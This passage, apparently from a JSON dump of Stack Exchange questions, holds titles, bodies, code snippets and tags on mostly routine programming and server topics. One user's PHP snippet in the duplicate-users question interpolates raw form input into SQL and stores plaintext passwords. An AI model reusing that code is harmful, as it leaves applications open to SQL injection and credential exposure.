ft.add(android.R.id.content, myFragment, myTag);\n } else {\n //
If it exists, simply attach it in order to show it\n
ft.attach(myFragment);\n }\n\n }\n\n @Override\n public void
onTabUnselected(Tab tab, FragmentTransaction ft) {\n\n Fragment myFragment =
myActivity.getFragmentManager().findFragmentByTag(myTag);\n\n if (myFragment
!= null) {\n // Detach the fragment, because another one is being
attached\n ft.detach(myFragment);\n }\n\n }\n\n @Override\n
public void onTabReselected(Tab tab, FragmentTransaction ft) {\n // TODO
Auto-generated method stub\n\n }\n\n}}\n", "android android-fragments android-
actionbar android-tabs"], "304308": ["How to colorize a drawable?", "How can I
colorize Android drawable by setting hue, saturation delta and brightness delta?\
n", "", "android colors drawable hsl hsv"], "3899757": ["Split tar.bz2 file and
extract each individually", "Can I split a large tar.bz2 file into several smaller
files and extract those small tar.bz2 files individually in Ubuntu?\nThanks,\n",
"", "linux ubuntu tar"], "3063803": ["SEAGATE Barracuda 7200.11 HDD not running",
"After a huge research, I'm stuck at the beggining of getting my HDD data back.\
nWhats happening to me is that in the moment when I plug the power wire to my
external 1TB SEAGATE Barracuda 7200.11 ST31000333AS HDD Fw LC15, it makes the sound
like it's spinning to almost full speed and then shuts down and spins up again, and
so on. It's well known that those HDDs have a bad firmware that someday randomly
fails. There are like 2 main problems identified, BSY (busy) state, and LBA0 error.
Last time I connected it to power nothing happened, it didnt try to start at all,
is it that so called bricked state? I guess my HDDs error is the first one, but I
dont really know if what I described is that BSY state or not, neither I know how
to check it. How could I know it?\nThank you so much!\n", "", "external-hard-drive
hardware-failure hard-drive-recovery seagate"], "4435351": ["Storing uploaded
content on a website", "For the past 5 years, my typical solution for storing
uploaded files (images, videos, documents, etc) was to throw everything into
an \"upload\" folder and give it a unique name.\nI'm looking to refine my methods
for storing uploaded content and I'm just wondering what other methods are used /
preferred.\nI've considered storing each item in their own folder (folder name is
the Id in the db) so I can preserve the uploaded file name. I've also considered
uploading all media to a locked folder, then using a file handler, which you pass
the Id of the file you want to download in the querystring, it would then read the
file and send the bytes to the user. This is handy for checking access, and
restricting bandwidth for users.\n", "", "file-upload storage"], "4952299": ["How
to fail a Maven build on a missing parameter?", "I have a environment variable or
jvm parameter which must be present. How do I get Maven to fail if this parameter
does not exist?\n", "", "java maven-2 parameters build environment-variables"],
"5638852": ["Squid custom error page", "i would like to set a custom error page to
a debian Squid 2.7 proxy.\nI tried with this:\n\nbut i still get the Squid default
page... i have no log about page redirectory.\nDo you know why?\nthanks\n",
"error_map http://proxy/error.html 403\n", "proxy squid"], "4442437": ["Can I set
up two NICs bridged together and still SSH into the bridging machine?", "I have a
ubuntu box setup with two NICs. I can bridge them together just fine, but I haven't
been able to setup a way to SSH into the box once the connections are bridged
together. Here's my /etc/network/interfaces:\n\nThis works just fine for bridging,
but I'm not able to SSH into the box. I tried setting up another interface on one
of the NICs:\n\nBut this really didn't help. Is it possible to ssh into a machine
that has all of its NICs bridged? If it is, how?\n", "auto lo\niface lo inet
loopback\n\nauto eth1\niface eth1 inet manual\n\nauto eth0\niface eth0 inet manual\
n\nauto br0\niface br0 inet static\n address 192.168.33.213\n netmask
255.255.255.0\n gateway 192.168.33.1\n bridge_ports eth0 eth1\n bridge_stp
off\n bridge_fd 0\n bridge_maxwait 0\n", "ubuntu routing bridge"], "2778487":
["Freebase MQL filter where value != null?", "I'm trying to write an MQL query that
filters out null values.\nThe query I have now (can be executed using the MQL Query
Editor):\n\nThe results I am getting:\n\nI'm trying to figure out how I can filter
out the \"content\" : null match in the \"article\" array at query time. I looked
through the MQL documentation but I didn't see a clear way to do this.\n", "[\n {\
n \"/common/topic/image\" : [\n {\n \"id\" : null\n }\n ],\n
\"article\" : [\n {\n \"content\" : null\n }\n ],\n \"name\"
: \"bill gates\",\n \"type\" : \"/common/topic\"\n }\n]\n", "query freebase
mql"], "3648106": ["SELECT UNCOMPRESS(text) FROM with sqlalchemy", "I store the
MySQL Compress function to insert compressed blob data to the database.\nIn a
previous question I was instructed to to use \n\n( mysql Compress() with sqlalchemy
)\nThe problem now is that I want to read also the data from the database.\nIn
mysql I would have done\n\nprobably I should use a getter in the class.\nI tried to
do somethin like:\n\nbut this does not work. It returns an
sqlalchemy.sql.expression.Function and not the string.\nMoreover I could not find
which functions contains sqlalchemy's func.\nAny ideas on how i could write a
getter in the object so I get back the uncompressed data.\n", "func.compress\n",
"python sqlalchemy mysql-python"], "3521388": ["How do I make Eclipse/ADT honor the
nocompress tags I added to build.xml?", "In a nutshell\nI need the Eclipse APK
auto-build functionality to use approximately the same build settings the ant
command line version.\nThe longer version\nThere has been a moderate amount of
discussion about how to package an asset or resource into an APK without
compression. The solutions I've seen involve using an extension like .mp3 that
isn't compressed or adding a new tag to the build.xml like for *.pak files.\nFor
various reasons that aren't important, the mp3-route isn't possible for this
project. I'm ok with the build.xml changes, but Eclipse appears to have its own APK
build process that doesn't use the Android-SDK's build.xml. As a result, the pak-
files are still compressed.\nHow do I make Eclipse either use the regular ant build
files or change the configuration to mirror the same no-compress settings?\
nThanks!\n", "<nocompress extension=\"pak\" />", "android ant android-resources
eclipse-adt"], "1867405": ["javascript onkeyup, onblur, simuating keyboard entry",
"I am trying to automate entering a betting amount onto a betslip for a bookmaker.
The code is as follows: \n\nI am using C# and .Net and have tried all sorts but in
particular: \n\nwb is the web browser instance\nThe amount is entered, but these
functions don't seem to work. Any ideas on what I am diong wrong? \n", "<input
id=\"slip_sgl_stake95274901L\" type =\"text\" \
nonblur=\"document.betslip.single_stake_onblur(this,'95274901L') onkeyup =\
n\"document.betslip.single_stake_onkeyup(this,'95274901L')\" size =\"7\"
maxlength=\"15\" value=\"\">\n", "c# javascript .net automation screen-scraping"],
"5247682": ["Copy to Clipboard in Chrome Extension", "I'm making an extension for
Google Chrome and I have hit a snag. \nI need to copy a readonly textarea's
content to the clipboard on click in the popup. Does anyone know the best way to go
about this with pure Javascript and no Flash? I also have jQuery loaded in the
extension, if that helps any. My current (non-working) code is... \n\n", "function
copyHTMLCB() {\n$('#lb_html').select();\n$('#lb_html').focus();\ntextRange =
document.lb_html_frm.lb_html.createTextRange();\
ntextRange.execCommand(\"RemoveFormat\");\ntextRange.execCommand(\"Copy\");\
nalert(\"HTML has been copied to your clipboard.\"); }\n", "javascript clipboard
google-chrome-extension"], "3527924": ["how to avoid duplication users in my db
with php", "How are you all, \nhope every one here is OK,\nnow I have a form that
the admin can create users and he can delete users as will let me display the code
first \nthis is my code \n\nall I need here to know is how to solve the problem of
this code \n\nhow can I avoid duplication users in my db\n", "> > <?php
error_reporting(E_ALL);\n> \n> session_start();\n> if(!isset($_SESSION['login'])
||\n> $_SESSION['login']!='1' ) {\n>
header(\"Location:loginpage.php\");\n> } ?>\n> \n> <!DOCTYPE html
PUBLIC \"-//W3C//DTD\n> XHTML 1.0 Transitional//EN\"\n>
\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n> <html\n>
xmlns=\"http://www.w3.org/1999/xhtml\">\n> <head> <meta http-equiv=\"Content-
Type\"\n> content=\"text/html; charset=utf-8\" />\n> <title>My Control
panel</title> <link\n> href=\"../css_style.css\"\n> rel=\"stylesheet\"
type=\"text/css\" />\n> </head>\n> \n> \n> \n> <body> <div id=\"werpper\"> <div\n>
id=\"content\">\n> \n> <div id=\"header\">My control -\n> Panel</div> <div
id=\"body_cntent\"> \n> <div id=\"left_side\"> <p>Home and\n> instructions</p>
<p><a\n> href=\"../control_panel.php\">main\n> directory</a></p> <p><a\n>
href=\"add_event.php\">Add new\n> event</a></p> <p><a\n>
href=\"../editoccasion.php\">Control\n> Occasion's</a></p> <p><a\n>
href=\"add_photos_and_occasion.php\">Add\n> Photos_occasion</a></p> <p><a\n>
href=\"../signout.php\">Sign out</a></p>\n> </div> <div id=\"right_side\">\n> \n>
<h2>Add new user</h2>\n> \n> <form action=\"\" method=\"post\">\n> \n> <table
width=\"600\" border=\"0\"\n> cellpadding=\"5\" cellspacing=\"0\"> \n> <tr>\n>
<td width=\"78\">User name</td>\n> <td width=\"2\">&nbsp;</td>\n> <td
width=\"149\"><input type=\"text\" name=\"uname\" value=\"\" /></td>\n> <td
width=\"332\" rowspan=\"5\" align=\"left\" valign=\"top\"><p\n> class=\"red\">For
Administration use\n> only.</p>\n> <p>You can add or delete users from <a\n>
href=\"edit_users.php\">here</a><br />\n> You can't edit any user if you
like to change any user account you\n> can delete the user and create it\n> again
with the new\n> information.</p></td> </tr> <tr>\n> <td>Password</td>\n>
<td>&nbsp;</td>\n>
<td><input type=\"text\" name=\"pass\" value=\"\" /></td>\n> </tr> <tr>\
n> <td>&nbsp;</td>\n> <td>&nbsp;</td>\n> <td><input type=\"submit\"
name=\"submit\" value=\"Add user\" /></td>\n> </tr> <tr>\n>
<td>&nbsp;</td>\n> <td>&nbsp;</td>\n> <td>&nbsp;</td>\n> </tr> <tr>\
n> <td>&nbsp;</td>\n> <td>&nbsp;</td>\n> <td
align=\"right\">&nbsp;</td>\n> </tr> </table> </form>\n> \n> </div> </div>\n> \
n> <div id=\"footer\"></div> </div> </div>\n> \n> <?php\n> if
(isset($_POST['submit'])) {\n> include_once
\"../config/config.php\";\n> $uname = $_POST['uname']; $pass
=$_POST['pass'];\n> $check = \"select * from users where id =
{$uname}\"; $result_check\n> = $db->query($check)or die($db->error);\n>
\n> while ($row = $result_check -> fetch_object()) {\n>
if(num_rows == 1){\n> \n> echo \"error\";\n>
\n> }else{\n> $add_user = \"insert into users (id,
uname, pass) values ('',\n> '$uname', '$pass')\";\n> $result = $db ->
query($add_user) or die (\"$db->error\");\n> if ($result) {\n>
echo \"user added successfuly\";\n> }else{\n> \
n> echo \"There was an error please try again later\";\n>
\n> } } } } ?>\n> \n> </body> </html>\n", "php
mysqli"], "5643706": ["Linear Differential Equations", "Need some hints or help
with this problem:\nFind complete solution for $$u^{'''}-6u^{''}+9u^{'}=4e^{-t}$$
and solve the initial value problem with initial values as $$u(0)=\\frac{1}{2},
u^{'}(0)=\\frac{11}{4}, u^{''}(0)=\\frac{41}{4}$$\n", "", "differential-
equations"], "1490860": ["How can I use powershell to check if a mapped drive is
open / connected?", "I am writing a login script which unmaps and remaps some
drives.\nThe powershell calls a small batch file for the actual unmapping, as
Powershell seems a bit flaky at reliably mapping the drives.\nThe code I am using
is:\n\nAnd the batch file it calls is just:\n\nThis all works fine, unless there is
an open connection to the drive it is trying to unmap. If the user has a file open,
then it hangs.\nIs there a way I can check if there are any connections open to the
mapped drive before I try and unmap it, and skip unmapping it if there are?\
nThanks,\nBen\n", " $arrDrives
= \"m:\",\"n:\",\"o:\",\"p:\",\"q:\",\"r:\",\"s:\",\"u:\",\"v:\",\"x:\",\"y:\"\n
foreach ($drive in $arrDrives) { \n if (test-path $drive) {\n
UpdateSubHeading (\"Removing drive \" + $drive)\n c:\\bin\\
removeDrive.bat $drive } \n }\n", "powershell network-share login-script"],
"5183605": ["Linq Sentece Time out", "I have a big one problem on linq, i have one
sentence to fill one telerikRadGrid, is this: \n\nthe problem is that the firs
sentence give me timeout becouse the BBDD have around 3KK of register, all joins
made are necesary, how i can make pagination and count the total on one sentence???
or i need make one sentence that count, and another whit make the pagination. i try
make the sentence linq whit skip and take but i dont know the real total of reg on
BBDD.\nthanks.\nSorry for my English\n", " var coleccion = (from tab in
tabReclamo\n join tabI in tabIntermediario on
tab.IdIntermediario equals tabI.Id\n join tabR in
tabReclamoEstatus on tab.IdReclamosEstatus equals tabR.IdReclamosEstatus\n
join tabP in tabProveedor on tab.IdProveedor equals tabP.Id\n
join tabS in tabServicio on tab.CodigoServicio equals tabS.CodigoServicio\n
join tabA in tabAfiliado on tab.IdAfiliado equals tabA.Id\n
join tabCert in tabCertificado on tabA.IdCertificado equals tabCert.Id\n
join tabPo in tabPoliza on tabCert.IdPoliza equals tabPo.Id into x\n
from y in x.DefaultIfEmpty()\n select new ReclamoDTO\n
{\n Id = tab.Id,\n ReclamoId =
tab.ReclamoId\n\n });\n\n Conteo =
coleccionconteo;\n return
UtilidadesDTO<ReclamoDTO>.EncriptarId(coleccion);\n }\
ncoleccion.count(); //count All registers on BD\ncoleccion.Skip((pagina - 1) *
registros).Take(registros); // make pagination\n", "linq entity-framework linq-to-
entities"], "2778486": ["what does &: mean in ruby, is it a block mixed with a
symbol?", "\nPossible Duplicate:\nWhat does map(&:name) mean in Ruby?\nRuby/Ruby on
Rails ampersand colon shortcut \n\nFor example, \n\nI understand what this does,
but I dont understand the &: notations, what does that mean, is it a symbol(:) with
a block (&)? Where can I read more about it?\n", "contacts.sort_by(&:first_name).\
n", "ruby"], "4118313": ["Configure apache2 virtual host subdomain", "I have
configured apache2 virtual host with a sub domain in the following
way:\n/etc/apache2/sites-available/website:\n\n/etc/hosts\n\nAnd it works! Both
and point to DocumentRoot. Now, how do I reconfigure this, so that any subdomain
will point to DocumentRoot?\n", "<VirtualHost *>\n ServerName website.local\n
ServerAlias sub.website.local\n DocumentRoot /home/myname/dev/website/web/\n ...\
n</VirtualHost> \n", "apache2 subdomain virtualhost"], "4780599": ["How to fix
ViewState serialization error with my custom control?", "I'm writing my first
asp.net user control.\nIt displays a list of locations that the user can select
from. I can load a list of locations into the control, and I can see what location
the user selected when the page posts back, but the list itself is lost when the
page posts back.\nI populate the list with an object of type where is a class
with several fields. When I try to put the list into ViewState, I get the
following error:\n\nCertainly, my type can be marked serializable, but this error
message persists. I know that it must be possible to make this work somehow.
After all, I can pass an object of this type to a and the data will persist thru
postback.\nHow do I fix this?\n", "IEnumerable<DetailedLocation>", "asp.net linq
serialization viewstate"], "1498139": ["Speed: XML vs. NSUserDefaults", "I'm
attempting to load and store (read AND write) a library of song information, and I
don't know which method of storage would be more efficient. Initially I stored an
NSArray that I'd created to a NSUserDefault, which allows for read/write access.
However, after looking into how iTunes stores its library information, I've
considered reading and writing from an XML file. Which would be easier to implement
and more effective speed/memory usage wise? Any help would be greatly
appreciated..\n", "", "iphone objective-c xml xcode nsuserdefaults"], "2740171":
["Trying to understand how classes and objects interact with one another - python",
"I am working through the examples from \"Python Programming in Context\" my Miller
& Ranum.\nI am working through the section on classes and we are building a solar
system, and I am not clear on one certain part of the code.\n\nI am not really sure
how the and methods work exactly. In the shell I created a some planets using
the \"Planet\" class. The planet class has more parameters than just name. It
also includes name, radius, mass, distance from the sun and number of moons. When
I pass a planet object to the SolarSystem class does the self.planets list contain
all the arguments that were passed to the Planet object? If so how does the
method know to print out the just names of planets? I think i may have missed
something crucial here, one of the questions is to add a method for summing up the
total mass in the solar system. But I am not sure how to access the instance
variable for mass from the Planets class so I can sum them in the SolarSystem
class.\nI hosted a repository on github since there is more than one file and I
didn't want to paste it all here. solarsystem That way you can see what I am
talking about.\nI hope this makes sense, just ask if you're unclear on anything.\
nThanks\nI added a total_mass method\n\nIt didn't work and I am not sure why.\nI
got it!\nThe last line should be:\n\n", "class SolarSystem:\n\n def
__init__(self, asun):\n self.thesun = asun\n self.planets = []\n\n
def add_planet(self, aplanet):\n self.planets.append(aplanet)\n\n def
show_planets(self):\n for aplanet in self.planets:\n
print(aplanet)\n\n def num_planets(self):\n return len(self.planets)\n",
"python class"], "4439529": ["MODX: I added a resource page and now all my links
are broken", "A client wanted me to add a page to his Modx website. I am only a
Joomla/Wordpress guy but I figured I would take a stab at it.\nHere were my steps:\
nI clicked \"new document\", gave the page a template, a name, a parent, then
pasted in some dummy text and hit save.\nNow, all of my links look like this:
http://www.myurl.com/modx/contact.html\nedit: Actually that is how they are
supposed to look according to google. They just simply are not linking to the page
any longer.\nMy blog link still looks like this: http://www.myurl.com/blog (and it
is the only link on the page that works)\nI cannot delete the resource that I
created under any circumstances. Modx just crosses it out in red and there is no
option to permanently delete it, that I can find.\nedit: Got that part
solved... :)\nThanks for your help, I am trying to fix this before the client
realizes it is broken. \n", "", ".htaccess friendly-url modx"], "4407747": ["How do
I get NSDragOperation to IBAction", "I have a NSDragOperation that currently
resides in a different implementation as AppDelegate; it grabs
the file name of a dragged file and populates a text field on AppDelegate. From
that text field the user can press 'ok' to try and process the file grabbed from
the drag operation. How do I skip the user interaction and automatically try and
process the file? \nI tried such things as:\n\nThe result is:\n\nI think I'm on the
right track, although I seem to have trouble with these type operations were I want
to auto submit an IBAction, so it would be nice to know how to do it. Thanks...\n",
"[AppDelegate button:(id)sender]; \n", "objective-c cocoa ibaction"], "426898":
["How to extract semi-precise frequencies from a WAV file using Fourier
Transforms", "Let us say that I have a WAV file. In this file, is a series of sine
tones at precise 1 second intervals. I want to use the FFTW library to extract
these tones in sequence. Is this particularly hard to do? How would I go about
this?\nAlso, what is the best way to write tones of this kind into a WAV file? I
assume I would only need a simple audio library for the output.\nMy language of
choice is C\n", "", "c audio wav signal-processing fftw"], "4795015": ["how xmpp
use http binding to push message to client", "According to wiki
http://en.wikipedia.org/wiki/Extensible_Messaging_and_Presence_Protocol , xmpp is
using http binding (rather an http pooling) to push message to client. Can anybody
explain to me how it work?\nThanks,\n", "", "xmpp"], "3653116": ["Comet VS Ajax
polling", "I need to create a chat like facebook chat.\nWith Comet I need more
memory to keep the connection.\nWith Ajax polling there is a latency problem if I
send request every 3-4 seconds.\nSo... If the latency ( 3-4 seconds ) doesn't
matter, Is Ajax Polling better for my case ? \n", "", "javascript ajax comet chat
polling"], "1880148": ["Outlook 2007 - How to set calendar availability on a per-
day basis?", "In Outlook 2007, you can go to \"Tools\" > \"Options\" > \"Calendar
Options\" button and set your start and end times for the day.\nIs there anyway for
me to further limit my calendar, so I can set my availability on a per-day basis? \
nE.G. (my calendar would be available for others to invite me to meetings at these
times)\n\nMon - 9am - 5pm\nTues - 7am - 3pm\nWed - 7am - 3pm\nThurs - 9am - 5pm\
nFri - 9am - 5pm\n\nI'd like to setup my availability ahead of time, for each of
the week, that would be the same going forward. \nI realize that I could create an
appointment for myself that blocks out those times, but that seems pretty lame. And
it fills the 'To-Do Bar' with all the recurrences.\nI'm open to suggestions for
built-in functionality, or some free utilities/plugins if they exist.\n", "",
"microsoft-office outlook-2007 calendar calendar-management"], "2179656": ["java
resource images not displaying", "I have been trying to get image resources to
display on a GUI I am developing, but am having a difficult time getting them to
display. I've come across other questions about loading resources such as java-
swing-displaying-images-from-within-a-jar and images-will-not-work-in-a-jar-file,
but they aren't working for me.\nMy issue appears to be the same as the first link,
where images appear when run from Eclipse and don't appear when run from the
command line using Jars. However the solution to those questions don't make the
images appear.\nThe code I have for retrieving resources is:\n\nI call it when
generating the GUI\n\nA print statement indicates that the resource was found
because returns an instance of .\nI'm stumped. I have spent hours trying to figure
this out, but could use some help. Any ideas?\nFYI: I don't think it matters, but I
am using Flamingo for my GUI.\nEDIT: per Stefan's request\n\nsrc/\n main/\n
java/\n com.company.project (packages)\n R.java\n
MyGui.java\n resources/\n com.company.project (packages)\n
.png (package)\n serial-port-32x32.png\n
(more images)\n .i18ln (package)\n
MyGui.properties\n\nAs for more code, I don't know what else I can provide that
will be of much benefit for this question. All the code for retrieving resources
and how I use that code is provided above. Was there something specific you were
looking for?\nUPDATE:\nWhen I create a Jar using Eclipse and run it from the
command line, the image resources display properly. When I create a Jar using
Gradle, the images are not displayed. So there is something being done differently
when generating the Jars that allows images resources to be accessed properly via
the Eclipse Jar, but not the Gradle Jar. I opened a question on the Gradle forums
with respect to this issue.\n", "public class R {\n\n public static final String
resourcePackage = \"path/to/image/package\";\n\n /**\n * Returns the
resource string that refers to the <code>resource</code> file\n * in the
<code>path.to.image.package.png</code> package.\n * \n * @param resource\n
* the file in the <code>png</code> package\n * @return the full
resource string\n */\n public static String png(String resource) {\n
return String.format(\"%s/png/%s\", resourcePackage, resource);\n }\n\n
public static ResizableIcon resizableIcon(String resource) {\n return
ImageWrapperResizableIcon.getIcon(R.class.getClassLoader()\
n .getResourceAsStream(resource), new Dimension(48, 48));\n }\n}\n",
"java image swing resources gradle"], "5578275": ["In yii how json formatted inputs
are inserted into tables", "I am creating project using extjs and yii. My client
side design is in extjs-4 and server side design is in yii framework.\nNow I am
having table Poll with fields as:\n\npollid\npollQuestion\nIsactive\nUserid\n\nAnd
Polloption:\n\npollid\noption\n\nNow during creation of new pole,poll creation view
form which is designed in extjs will receive inputs and will send this data to
server side in json format as-\n\nSo at server side all this values will come in
json format. So now in yii i want to insert this received inputs in corresponding
poll tables fields.\nSo how Yii will convert this json formatted inputs and also
insert those values into repective fields of poll table. Please help me.\n", "{\n
'success':true,\n 'results':[ {\n 'pollid' : 1,\n
'pollQuestion' : 'Which is capital of india',\n } \n { options
from polloption table in json format\n }]\n}\n", "json yii extjs4"], "4236979":
["IIS responses with HTML instead of JSON on ASP .NET MVC3", "The subject is
selfexplanatory. I've developer and production environments. Developer env. is my
localhost machine. I've action methods in contolers that sets response status code
to 500 when something wents wrong (error occured, or logical inconsistance) and
returns Json-answer. My common method looks like that:\n\nOn the client side in
production env. when such an error occured ajax.response looks like an HTML-code,
instead of expected JSON.\nConsider this:\n\nFilter context is not an option. I
think it is some sort of IIS or web.config issue.\nSOLUTION:\nWe decided to add in
BeginRequest in Global.asax and it is solved problems in each method in our
application.\n", "[HttpPost]\npublic ActionResult DoSomething(int id)\n{\n try\n
{\n // some useful code\n }\n catch(Exception ex)\n {\n
Response.StatusCode = 500;\n Json(new { message = \"error\" },
JsonBehaviour.AllowGet)\n }\n}\n", "json asp.net-mvc-3 error-handling"],
"916078": ["Functionality different on IE than on Samsung Galaxy Tab", "I have a
PHP based application that I need to work on both a normal PC and on a Samsung
Galaxy tablet.\nThe functionality on both devices works correctly however it is
just the formatting and presentation of the data that is diffrent.\nMy Application
pulls data from a mysql database when the user enters a product number. this data
is displayed in the same row as the product code inserted by the user. in Internet
explorer it works 100% however on the tablet, once the user inputs a user code, the
entire row is condensed into the first cell.\nI have attached images to try get
across what the issue is, please find these at bottom of qustion.\nMy relevent code
is:\nIn Header:\n\nIn Body:\n\nPC Functionality:\n\n\nTablet Functionality:\n\
nPlease let me know if I can assist further with any other information.\nHelp is
greatly appreciated.\nThanks and Regards,\nRyan Smith\n", "<script
type=\"text/javascript\"> \n function showUser(userNumber, str) \n { \n
document.getElementById(\"r\"+(userNumber+1)).style.display=\"block\"; \n if
(str==\"\") \n { \n document.getElementById(\"txtHint\" +
userNumber).innerHTML=\"\"; \n return; \n } \n if
(window.XMLHttpRequest) \n {// code for IE7+, Firefox, Chrome, Opera, Safari \n
xmlhttp=new XMLHttpRequest(); \n } \n else \n {// code for IE6, IE5 \n
xmlhttp=new ActiveXObject(\"Microsoft.XMLHTTP\"); \n } \n\n
xmlhttp.onreadystatechange=function() \n { \n if (xmlhttp.readyState==4 &&
xmlhttp.status==200) \n { \n document.getElementById(\"txtHint\" +
userNumber).innerHTML=xmlhttp.responseText; \n } \n } \n
xmlhttp.open(\"GET\",\"getdata1.php?q=\"+str,true); \n xmlhttp.send(); \n } \
n</script> \n", "format internet explorer tablet galaxy"], "2273010": ["Using
htmlspeciachars on output from database (MySQL), what else to consider to prevent
XSS?", "Using htmlspeciachars on output from database (MySQL), what else to
consider to prevent XSS?\nIs it correct that using htmlspecialchars on output when
fethcing data from database (in this case MySQL) you will prevent XSS? In this case
HTML to be shown in a HTML-document? Are there anything else you should consider? I
mean in which other cases could you be vulnerable
for XSS?\nLets say i have a webiste where i have created a login-system, for users
to post new posts, and here the users can delete these news post, but a JavaScript
function is here used with a alertbox() to make sure that the user really want to
delete this news, and if yes the news ID is passed through the URL by link like
this:\n\nJavascript function:\n\nIs there something something else i should
consider to prevent XSS, or can no XSS be done here? Lets say i've have a string
istead of a number, should i do some JavaScript encoding, maybe encodeURI()
function?\nIs it correct that using htmlspecialchars you prevent for instance
script-tags, link-tags and img-tags to be run? And this is how with XSS work,
because then someone can, for instance, steal users private information?\nI\u2019ve
learned that you should always sanitize when displaying output from database, but
what about input that are being stored into the database? Should you also sanitize
this, or is it just enough to use PDO prepared statements, or something else and
how to do so?\nI\u2019ve read about HTML sanitizing form this article on wiki:\
nhttp://en.wikipedia.org/wiki/HTML_sanitization\n", "echo '<a class=\"btn-small
btn-danger\" onclick=\"deleteNews('. htmlspecialchars($newsidfk) .')\" \">Delete
news</a>'; \n", "php mysql database xss"], "2365129": ["Good practice or bad
practice to force entire site to HTTPS?", "I have a site that works very well when
everything is in HTTPS (authentication, web services etc). If I mix http and https
it requires more coding (cross domain problems). \nI don't seem to see many web
sites that are entirely in HTTPS so I was wondering if it was a bad idea to go
about it this way?\nEdit: Site is to be hosted on Azure cloud where Bandwidth and
CPU usage could be an issue...\n", "", "iis7 https"], "1540991": ["Casting a
container of shared_ptr", "I have a method\n\nWhich I'm trying to call with a two
different types of lists, one of DerivedClass1 and one of DerivedClass2\n\nHowever
this obviously generates a compiler error \n\nIs there any easy way to cast a
container of shared_ptr? Of alternate containers that can accomplish this?\nUpdate:
Thanks to everyone who responded. Working within the confines of the language, it
seems the best way to go while keeping the method 'as-is' is to use a container of
shared_ptr and pass exactly that in (creating a new list at the call site). \nI
guess I pretty much already knew this, but I remembered reading about other parts
of the boost library dealing with containers of shared_ptr and thought maybe it was
solved more elegantly by someone else already. From my own further research however
these seem to be geared more towards reducing overhead of shared_ptr in cases where
a number of pointers are owned exclusively (therefore requiring a single lock per
container rather than one per object in the container). \nThanks again, you guys
are all awesome!\n", "void foo(list<shared_ptr<Base>>& myList); \n", "c++ boost
casting containers shared-ptr"], "3541856": ["Can PreparedStatement in Java be used
with comma separated values in an in() query?", "\nPossible Duplicate:\
nPreparedStatement IN clause alternatives? \n\nThe following single DML statement
can be used to delete multiple rows. \n\nCan in Java have such an query to be
executed (with comma separated values)? roughly like,\n\n\nBTW, Depending upon the
requirements, I generally use the method to add a set of parameters to a given
just like the following.\n\nCan we directly have the former approach with in
Java?\n", "DELETE", "java jdbc prepared-statement apache-commons-dbcp"], "681181":
["Best Fabric scripts for Django", "What are the best stock Fabric scripts for
deploying a typical Django project? Fabric looks very good, but seems to require
you to start from scratch and write your own deployment script. Coming from
Capistrano, I'd like to start with something that works more out-of-the-box that
others have tested rather than writing one from scratch. \nIdeally I'd like one
that syncs the database, performs migrations using South, backs up the site and
database, and can roll back previous deploys.\n", "", "django deployment fabric"],
"4927963": ["Open <a> in a new window. But standard is _blank", "I have a Drupal
website. I have a RSS feed with . Ahref links with target blank. But there is a bug
in Drupal CMS. When i clicking on the links. Than the link open in the same window
and a new window. \nHow can i fix this with javascript. Can i make a script that
open links with target blank in a new window. And open not in the same window?\
nThanks for helping\n", "", "javascript drupal links target blank"], "3614697":
["Why does IEnumerable<T> inherit from IEnumerable?", "This might be a old
question: Why does inherit from ?\nThis is how .NET do, but it brings a little
trouble. Every time I write a class implements , I have to write two functions,
one for and the other for .\nAnd, doesn't inherit from IList. \nI don't know why
is designed in other way.\n", "IEnumerable<T>", "c# generics ienumerable"],
"2794642": ["Having trouble passing data to Highcharts", "I am trying to pull
financial stock data of multiple companies from CSVs and display the data as
separate series in a Highcharts/Highstocks line chart. I have the sources setup and
I am able to pull data + convert to JSON, but I am having trouble passing the data
off to Highcharts. I believe I am not using the most efficient method of preparing
the data for Highcharts use, and I am hoping someone can give me direction on what
I've done incorrectly. Please take a look at my code and make me aware of any
inefficiencies or glaring errors you see.\nPHP code:\n\nJS code:\n\nIf you have any
questions or need further information, please let me know with a comment.\nThanks\
nBTW: I have all necessary assets included for Highcharts to work; when I replace
my JS + PHP with example code from the Highcharts site, it works beautifully. So
the problem clearly lies in my JS + PHP code.\n",
"date_default_timezone_set('America/Los_Angeles');\n\n$stocks = array('MSFT' =>
'http://ichart.finance.yahoo.com/table.csv?s=MSFT', 'AAPL' =>
'http://ichart.finance.yahoo.com/table.csv?s=AAPL', 'FB' =>
'http://ichart.finance.yahoo.com/table.csv?s=FB');\n$stocks_data = array();\n\
nforeach ($stocks as $key=>$stock) {\n $fh = fopen($stock, 'r');\n $header =
fgetcsv($fh);\n\n $varname = $key . '_data';\n\n $$varname = array();\n
while ($line = fgetcsv($fh)) {\n ${$varname}[count($$varname)] =
array_combine($header, $line);\n }\n\n fclose($fh);\n}\n\nforeach($MSFT_data
as $val){\n $MSFT[] = strtotime($val['Date']) * 1000 . ', ' . (float)
$val['Close']; //sets the date as a javascript timestamp\n}\n$MSFT =
json_encode($MSFT);\n\nforeach($AAPL_data as $val){\n $AAPL[] =
strtotime($val['Date']) * 1000 . ', ' . (float)$val['Close']; //sets the date as a
javascript timestamp\n}\n$AAPL = json_encode($AAPL);\n\nforeach($FB_data as $val){\
n $FB[] = strtotime($val['Date']) * 1000 . ', ' . (float)$val['Close']; //sets
the date as a javascript timestamp\n}\n$FB = json_encode($FB);\n", "php highcharts
highstock"], "4192924": ["Using ACS with Windows Phone", "I'm lost. I'm developing
a Windows Phone 7 app and I want to do the following:\nI want to use Facebook, Live
ID, Google and Yahoo to let user sign in my app. And also, it they don't have any
of those account I will need to implement a sign up interface on Windows Azure.\nI
also need to store some ID from user signed in my app. For example, Facebook
returns an ID for that user. But Google, Live ID and Yahoo! returns another ID. I
will store this on a user table with these columns:\n\nID: Primarty Key.\nSing-IN-
Type: Foreign key to a table with Facebook, Google, etc. names.\nID-returned: ID
returned by those webs.\nI've read about ACS v2 and I'm not sure it will fit with
my requisites. What do you think?\n", "ID | Sing-IN-Type | ID-returned\n",
"windows-phone-7 single-sign-on acs"], "3247829": ["Postfix - am I sending spam?",
"today I received like 30 messages within 5 minutes telling me that some mail I
